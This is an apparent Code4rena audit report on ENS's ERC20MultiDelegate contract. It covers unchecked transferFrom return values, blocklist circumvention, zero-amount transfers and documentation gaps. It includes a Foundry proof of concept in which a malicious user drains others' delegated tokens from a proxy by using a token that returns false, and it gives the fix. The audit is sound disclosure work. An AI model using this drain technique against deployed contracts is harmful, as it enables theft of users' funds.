ENS - J4X's results

Lines of code

https://github.com/code-423n4/2023-10-ens/blob/main/contracts/ERC20MultiDelegate.sol#L148 https://github.com/code-423n4/2023-10-ens/blob/main/contracts/ERC20MultiDelegate.sol#L160 https://github.com/code-423n4/2023-10-ens/blob/main/contracts/ERC20MultiDelegate.sol#L170

Vulnerability details

Impact

The ERC20MultiDelegate smart contract has a critical issue in its current implementation. While it relies on the provided ENSToken as the token used for delegating, it should also support other non-malicious tokens implementing the ERC20Votes functionality and interface. The primary problem arises in the transferFrom() function of the chosen ERC20 tokens.

In the case of the ENSToken, if a user attempts to transfer an amount exceeding their balance, it triggers a revert in the token contract, leading to the entire transaction being reverted. Unfortunately, some ERC20 compliant tokens don't follow this behavior; instead, they return false and do not perform the transfer. An example of this is the ZRX token.

This issue results in problems during delegation from a user to a new delegate or between delegates. Specifically, the return value of transferFrom() is not checked before the user receives ERC1155 tokens. These tokens are later used when a user wants to retrieve their delegated tokens from a proxy. As a result, a malicious user can create a deceptive scenario where they appear to deposit tokens to a delegatee's proxy without actually transferring them. Subsequently, they can retrieve real tokens owned by other users from the proxy using the _reimburse() function.

Exploiting this vulnerability, a malicious user could systematically drain all existing proxies by tracking the ongoing delegations (who delegated to whom) and then simulating delegations of the proxy's exact balance using createProxyDelegatorAndTransfer. Subsequently, they could withdraw these tokens, effectively depleting the proxy's holdings.

It's essential to note that this vulnerability also exists in the transfer between delegates within the _processDelegation function and in the _reimburse() function, as these functions also do not validate the return value of the ERC20Votes token.

A similar issue has been previously identified and assessed in the Code4rena competition, which can be referenced here: Code4rena Findings - Issue #89.

Proof of Concept

To illustrate this issue, I've provided a Proof of Concept (POC) using a simple ERC20 and ERC20Votes compliant token that does not revert but returns false when a user transfers more than their balance.

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol";

contract NoRevertOnTransferToken is ERC20, ERC20Permit, ERC20Votes {

    constructor(
    )
        ERC20("No Revert on Transfer Token", "NRTT")
        ERC20Permit("No Revert on Transfer Token")
    {
        _mint(msg.sender, 10000);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        uint256 senderBalance = balanceOf(sender);
        if(senderBalance < amount)
        {
            //This contract does not revert but just return false
            return false;
        }

        _approve(sender, _msgSender(), allowance(sender, _msgSender()) - amount);

        _beforeTokenTransfer(sender, recipient, amount);

        _transfer(sender, recipient, amount);

        return true;
    }

    // The following functions are overrides required by Solidity.
    function _afterTokenTransfer(address from, address to, uint256 amount)
        internal
        override(ERC20, ERC20Votes)
    {
        super._afterTokenTransfer(from, to, amount);
    }

    function _mint(address to, uint256 amount)
        internal
        override(ERC20, ERC20Votes)
    {
        super._mint(to, amount);
    }

    function _burn(address account, uint256 amount)
        internal
        override(ERC20, ERC20Votes)
    {
        super._burn(account, amount);
    }
}

This POC demonstrates how a user can exploit this behavior to drain another user's tokens. While this example is on a small scale, it can be extrapolated to affect all proxies in the protocol.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../src/ERC20MultiDelegate.sol";
import "../src/NoRevertOnTransferToken.sol";

contract FuzzingTest is Test {
    NoRevertOnTransferToken public token;
    ERC20MultiDelegate public delegate;
    uint256 constant TOTAL_TOKENS = 10000;
    address normalUser;
    address otherNormalUser;
    address maliciousUser;

    function setUp() public {
        token = new NoRevertOnTransferToken();
        delegate = new ERC20MultiDelegate(ERC20Votes(token), "");

        normalUser = vm.addr(0xdeadbeef);
        maliciousUser = vm.addr(0xbeefdead);
        otherNormalUser = vm.addr(0xdeaddead);

        token.transfer(normalUser, TOTAL_TOKENS);
    }

    function testMaliciousUserStealsTokens() public
    {
        //First the normalUser approves the ERC20MultiDelegate and delegates to the other normal user
        vm.startPrank(normalUser);
        token.approve(address(delegate), type(uint256).max);

        uint256[] memory sources = new uint256[](0);
        uint256[] memory targets = new uint256[](1);
        uint256[] memory amounts = new uint256[](1);

        targets[0] = uint256(uint160(otherNormalUser));
        amounts[0] = TOTAL_TOKENS;

        delegate.delegateMulti(sources, targets, amounts);

        vm.stopPrank();

        //Now the malicious user which has no tokens also tries to delegate to the otherUser
        vm.startPrank(maliciousUser);
        require(token.balanceOf(maliciousUser) == 0, "Malicious user should not have any tokens");

        //Malicious user is able to mess up the ERC1155 tracking
        delegate.delegateMulti(sources, targets, amounts);
        require(delegate.balanceOf(maliciousUser, uint256(uint160(otherNormalUser))) == TOTAL_TOKENS, "Malicious user was not able to falsely delegate tokens");

        //Malicious user is able to steal the normal users tokens be retrieving them from the proxy
        delegate.delegateMulti(targets, sources, amounts);
        require(token.balanceOf(maliciousUser) == TOTAL_TOKENS, "Malicious user was not able to steal tokens");
    }
}

The testcase can be run by adding the NoRevertOnTransferToken and the ERC20MultiDelegate to the src folder of a forge project and then calling to forge test.

Tools Used

Slither & Manual Review

Recommended Mitigation Steps

This issue can be fixed by validating the return value of the transferFrom() function. This needs to be implemented for all the 3 functionalities of the contract (_processDelegation, _reimburse() and createProxyDelegatorAndTransfer).

1. Transferring between delegates

Line 170

Replace the existing code:

token.transferFrom(proxyAddressFrom, proxyAddressTo, amount);

With the following code:

bool transferSuccessfull = token.transferFrom(proxyAddressFrom, proxyAddressTo, amount);
require(transferSuccessfull, "Transfer failed");

2. Reimbursing from a delegate

Line 148

Replace the existing code:

token.transferFrom(proxyAddressFrom, msg.sender, amount);

With the following code:

bool transferSuccessfull = token.transferFrom(proxyAddressFrom, msg.sender, amount);
require(transferSuccessfull, "Transfer failed");

3. Newly delegating

Line 160

Replace the existing code:

token.transferFrom(msg.sender, proxyAddress, amount);

With the following code:

bool transferSuccessfull = token.transferFrom(msg.sender, proxyAddress, amount);
require(transferSuccessfull, "Transfer failed");

By implementing these changes, the ERC20MultiDelegate contract will properly validate the return value of the transferFrom() function, ensuring that transfers are successful before proceeding, thereby mitigating the vulnerability.

Assessed type

Token-Transfer

Low

[L-01] _safeTransferFrom() can be used to circumvent blocklists

Issue Description: Using the _safeTransferFrom() functionality of ERC1155, users can circumvent blocklists and still transfer tokens to another address after being blocklisted. This can happen in the following form:

1. User A delegates all his tokens to User B using the ERC20MultiDelegate.
2. User A gets blacklisted, so all transfers from/to his address of the ERC20 token are reverted.
3. User A uses safeTransferFrom() to transfer his ERC1155 tokens to User C.
4. User C is able to withdraw the tokens out of the proxy.

Recommended Mitigation Steps: This problem can be fixed in two ways. The first one being to override the _safeTransferFrom() functionality and make it revert on any call, effectively making the ERC1155 tokens not transferrable. The second way would be to add an optional check to the blocklist of the underlying ERC20 token before transferring any ERC1155 tokens.

---

[L-02] Tokens sent to the contract by accident can get stuck

Issue Description: Some users might, by accident or due to incorrectly understanding the contracts' functionality, send tokens directly to the contract or proxies to delegate them. As there is no functionality to sweep/rescue tokens, these tokens will stay stuck forever.

Recommended Mitigation Steps: Deciding if this issue needs to be fixed is up to the project team. The team could either keep the functionality as it is, which would offer a higher security level in case of ownership corruption but leaves tokens sent incorrectly stuck. If the protocol team decides on wanting a functionality to rescue tokens, a simple function that is only callable by the owner can be added which transfers the full balance of a provided token to the owner.

---

[L-03] Transfers with 0 amounts are possible

Line 65

Issue Description: The current implementation allows for users to call all three different functionalities of delegateMulti() with an amount of 0. This does not lead to any direct vulnerabilities but is incorrect behavior as delegating or reimbursing an amount of 0 does not make any sense.

POC A simple testcase that shows the incorrect functionality:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../src/ENSToken.sol";
import "../src/ERC20MultiDelegate.sol";

contract FuzzingTest is Test {
    ENSToken public token;
    ERC20MultiDelegate public delegate;
    uint256 constant TOTAL_TOKENS = type(uint224).max / 2;
    address user1;
    address user2;
    address user3;

    function setUp() public {
        token = new ENSToken(TOTAL_TOKENS, 0, block.timestamp);
        delegate = new ERC20MultiDelegate(ERC20Votes(token), "");

        user1 = vm.addr(0xdeadbeef);
        user2 = vm.addr(0xbeefdead);
        user3 = vm.addr(0xdeaddead);

        token.transfer(user1, TOTAL_TOKENS);
    }

    function testZeroAmounts() public {
        vm.startPrank(user1);

        //Approve so that the delegate can transfer the tokens
        token.approve(address(delegate), type(uint256).max);

        //Delegation of zero
        uint256[] memory sources1 = new uint256[](0);
        uint256[] memory targets1 = new uint256[](1);
        uint256[] memory amounts = new uint256[](1);
        targets1[0] = uint256(uint160(user2));
        amounts[0] = 0;
        
        delegate.delegateMulti(sources1, targets1, amounts);

        //Transfer of zero
        uint256[] memory sources2 = new uint256[](1);
        uint256[] memory targets2 = new uint256[](1);
        sources2[0] = uint256(uint160(user2));
        targets2[0] = uint256(uint160(user3));

        delegate.delegateMulti(sources2, targets2, amounts);

        //Reimbursement of zero
        uint256[] memory sources3 = new uint256[](1);
        uint256[] memory targets3 = new uint256[](0);
        sources3[0] = uint256(uint160(user3));

        delegate.delegateMulti(sources3, targets3, amounts);
    }
}

Recommended Mitigation Steps: Check for 0 values passed in amount and either skip the loop iteration in that case, saving gas or revert.

---

[L-04] source can be the same address as target

Line 124

Issue Description: When transferring between two proxies, the user can provide the same address as the target as well as the source. This is not intended behavior and will lead to confusing events being emitted.

POC A simple testcase that shows the incorrect functionality:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../src/ENSToken.sol";
import "../src/ERC20MultiDelegate.sol";

contract FuzzingTest is Test {
    ENSToken public token;
    ERC20MultiDelegate public delegate;
    uint256 constant TOTAL_TOKENS = type(uint224).max / 2;
    address user1;
    address user2;
    address user3;

    function setUp() public {
        token = new ENSToken(TOTAL_TOKENS, 0, block.timestamp);
        delegate = new ERC20MultiDelegate(ERC20Votes(token), "");

        user1 = vm.addr(0xdeadbeef);
        user2 = vm.addr(0xbeefdead);
        user3 = vm.addr(0xdeaddead);

        token.transfer(user1, TOTAL_TOKENS);
    }

    function testTransferToSameAddress() public {
        vm.startPrank(user1);

        //Approve so that the delegate can transfer the tokens
        token.approve(address(delegate), type(uint256).max);

        uint256[] memory sources1 = new uint256[](0);
        uint256[] memory targets1 = new uint256[](1);
        uint256[] memory amounts1 = new uint256[](1);
        targets1[0] = uint256(uint160(user2));
        amounts1[0] = TOTAL_TOKENS;

        delegate.delegateMulti(sources1, targets1, amounts1);

        //User delegates from user2 -> user2
        delegate.delegateMulti(targets1, targets1, amounts1);
    }
}

Recommended Mitigation Steps: To fix this issue, it is recommended to add an additional requirement that reverts in case of both addresses being the same in the _processDelegation() function. This could look like this:

require(source != target, "Transfer to the same address is not intended");

---

Non-Critical (NC) Findings

[NC-01] New delegation and reimbursement are missing events

Line 144 Line 155

Issue Description: The contract includes the event DelegationProcessed which is emitted when delegated votes get transferred from one delegate to another. The issue is that this is only one of the 3 cases that the contract handles. In the case of newly delegating votes and also in the case of retrieving earlier delegated votes no event is emitted.

Recommended Mitigation Steps: I would recommend either using the event DelegationProcessed in these cases and leave the source/target as 0, like it is done with transferFrom() for burning/minting in some token implementations. If an extra event for each case makes more sense to the developers, I would recommend adding 2 new events and emitting them at the end of the function calls.

---

[NC-02] Incorrect comment in _reimburse()

Line 144

Issue Description: The comments in the _reimburse() function state the functionality as "Reimburses any remaining source amounts back to the delegator after the delegation transfer process." and "Transfer the remaining source amount or the full source amount (if no remaining amount) to the delegator," which is incorrect. This function can be used to reimburse an arbitrary user-chosen amount from a proxy back to himself.

Recommended Mitigation Steps: Change the definition to "Reimburses a user-provided amount (that is less than the ERC1155 balance the user has for the delegate) back to the user." and remove the comment inside the function.

---

[NC-03] Missing indexing in event

Line 36

Issue Description: The event DelegationProcessed includes three parameters that could all be indexed. In the current implementation, only two of those are indexed.

Recommended Mitigation Steps: Also index the third parameter amount:

event DelegationProcessed(
	address indexed from,
	address indexed to,
	uint256 indexed amount
);

---

[NC-04] Grammatical error in testcase naming

Tests Line 138 Tests Line 288 Tests Line 345 Tests Line 688

Issue Description: There are multiple test cases that are named grammatically incorrectly:

1. 'should be able to delegate multiple delegates in behalf of user'
2. 'should be able to re-delegate multiple delegates in behalf of user (1:1)'
3. 'should be able to re-delegate multiple delegates in behalf of user (many:many)'
4. 'should revert if allowance is lesser than provided amount'

Recommended Mitigation Steps: Rename the test cases to:

1. 'should be able to delegate multiple delegates on behalf of user'
2. 'should be able to re-delegate multiple delegates on behalf of user (1:1)'
3. 'should be able to re-delegate multiple delegates on behalf of user (many:many)'
4. 'should revert if allowance is less than provided amount'

---

[NC-05] Grammatical error in contract descriptions

Line 23

Issue Description: At the start of the ERC20MultiDelegate contract, a comment is placed that should describe the utility of the contract. This comment states "@dev A utility contract to let delegators to pick multiple delegate". This is grammatically incorrect.

Recommended Mitigation Steps: Adapt the comment to "@dev A utility contract that lets delegators pick multiple delegates."

Introduction

This analysis focuses on the ENS audit hosted on Code4rena, which pertains to the ENS (Ethereum Name Service) smart contract. The audit process aimed to identify potential vulnerabilities, propose mitigation strategies, and optimize gas usage within the codebase.

| Spec        | Value       |
| ----------- | ----------- |
| Name        | ENS         |
| Duration    | 6 days      |
| nSLOC       | 216         |

Methodology

The audit process was divided into three distinct phases:

Recon

In the Recon phase, I conducted a preliminary review of the codebase to gain a broad understanding of its structure and functionality. This initial pass allowed me to familiarize myself with the code before diving deeper. Additionally, I examined the provided documentation and gathered supplementary information from online sources and the audit's Discord channel.

Analysis

The Analysis phase constituted the primary focus of the audit, where I conducted an in-depth examination of the codebase. My approach involved meticulously documenting suspicious code sections, identifying minor bugs, and envisioning potential attack vectors. I explored how various attack scenarios could manifest within the code and delved into the relevant functions. Throughout this phase, I maintained communication with the protocol team to verify findings and clarify any ambiguities.

Reporting

After compiling initial notes during the Analysis phase, I refined and expanded upon these findings. I also developed test cases to complement the identified issues and integrated them into the final report. Furthermore, I generated Quality Assurance (QA) and Gas reports, alongside this comprehensive analysis.

System Overview

The system revolves around an ERC1155 implementation that enables users to delegate their voting power to multiple addresses simultaneously. This is in contrast to the standard ERC20Votes implementation where users can only delegate tokens to a single delegate. To facilitate this functionality, the contract offers three key functionalities:

1. Delegation

In this scenario, a user delegates voting power to a specific address. To achieve this, the user provides a target address without specifying a source address. The process includes:

• Checking if the target proxy already exists; if not, it's deployed.
• Transferring the specified amount of tokens from the caller to the proxy.
• Minting ERC1155 tokens from the user to the target.

2. Transfer Between Delegates

In this scenario, a user transfers their delegation power from a source to a target. The steps include:

• Checking if the source has a sufficient balance to transfer.
• Deploying a proxy for the target if it doesn't already exist.
• Transferring tokens from the source to the target.
• Burning source ERC1155 tokens from the user.
• Minting target ERC1155 tokens to the user.

3. Reimbursement

Here, a user seeks to transfer tokens out from a delegate, effectively decreasing or removing their delegated voting power. The user specifies a source without a target, and the process involves:

• Transferring the tokens from the proxy to the user.
• Burning sourceERC1155 tokens from the user.

The contract also supports multiple transactions in a single call, using arrays. However, it's worth noting that delegation and reimbursement functionalities cannot be combined in the same transaction. The decision on which function to execute relies on the length of the arrays rather than the presence of addresses.

Recommendations: As stated by the project team it is intended that the contract can also be used with other tokens that implement ERC20Votes. Unfortunately the current implementation leads to problems with multiple special implementation of ERC20 like FOT tokens, rebasing tokens, tokens that transfer the balance if type(uint256).max is passed as well as tokens that don't revert on transfer. As according to the project team it was mentioned that FOT(fee-on-transfer) and rebasing tokens will not be supported this needs to be mentioned in the documentation. Additionally there either need to be fixes implemented for the other cases or these tokens also need to be excluded in the documentation.

Additionally the functionality of no Delegation and Reimbursement being possible in the same transaction due to the decision on which function is being chosen relying on the length of the arrays (not the addresses being zero) requires a user, if he wants to change multiple delegations at once, to precompute the most efficient path to only need to call the function once. If this intended the functionality can stay as it is, if it would be intended that both can be called in one transaction the functionality inside the loop will need to be restructured.

Potential attack vectors

Given the concise and well-structured codebase, the potential attack vectors are limited. Nevertheless, during the research, a few possible attack vectors were identified:

• Malicious users could delegate more tokens than they possess.
• Malicious users could delegate the same tokens multiple times.
• Malicious users could steal tokens delegated by others.
• Malicious users could freeze tokens delegated by others.
• Malicious users could retrieve tokens while delegations are still active.

Testing

The test suite includes multiple test cases for the various functionalities of the ERC20MultiDelegate contract. These tests effectively cover all three contract functionalities. However, there are several test scenarios missing from the current implementation.

• testcase 'should be able to delegate multiple delegates in behalf of user' does not check if the deployer has all the tokens back at the end
• missing test for no target/source but an amount provided
• 'should be able to re-delegate to already delegated delegates' incorrectly includes variable names starting with "revert" which is confusing
• No tests for the ERC1155 functions (especially _safeTransferFrom())

Recommendations:

• Add the missing test scenarios mentioned above to the testsuite
• Fix the mentioned issues in the testsuite
• Also add additional fuzz testing (could be done using foundry)

Systemic Risk

The non-upgradeable nature of the entire protocol and the fact that the only way to retrieve users' delegated tokens from the proxy is through the contract necessitate a robust focus on the security of the ERC20MultiDelegate. This is crucial to prevent user tokens from being frozen indefinitely.

Code Quality

The code overall is nicely structured and kept very short and simple. As no additional documentation is provided, developers need to understand the functionality directly from the code. Unfortunately the code is missing NatSpec documentation at certain parts and would also profit from more inline comments.

Recommendations:

• Add full NatSpec documentation to every function and event
• Write a simple documentation file that also shows the 3 different functionalities
• Add more inline comments to make the code easier to understand.

Conclusions

The audit spanned a full six days and comprised three phases:

• Day 1: Documentation review, initial code inspection, and gaining an understanding of the system's functionalities.
• Days 2-5: In-depth code analysis, vulnerability identification, and bug hunting.
• Day 6: Reporting findings, including bug reports and this comprehensive analysis.

Overall the codebase is very well constructed and most of the recommended patterns were followed. A key issue is the current inconcise definition of which ERC20Votes tokens are supported as well as missing documentation. Additionally if the ERC1155 tokens should be tradeable later on, the downcasting issue needs to be fixed too.

Total time spent: 32 hours.

Time spent:

32 hours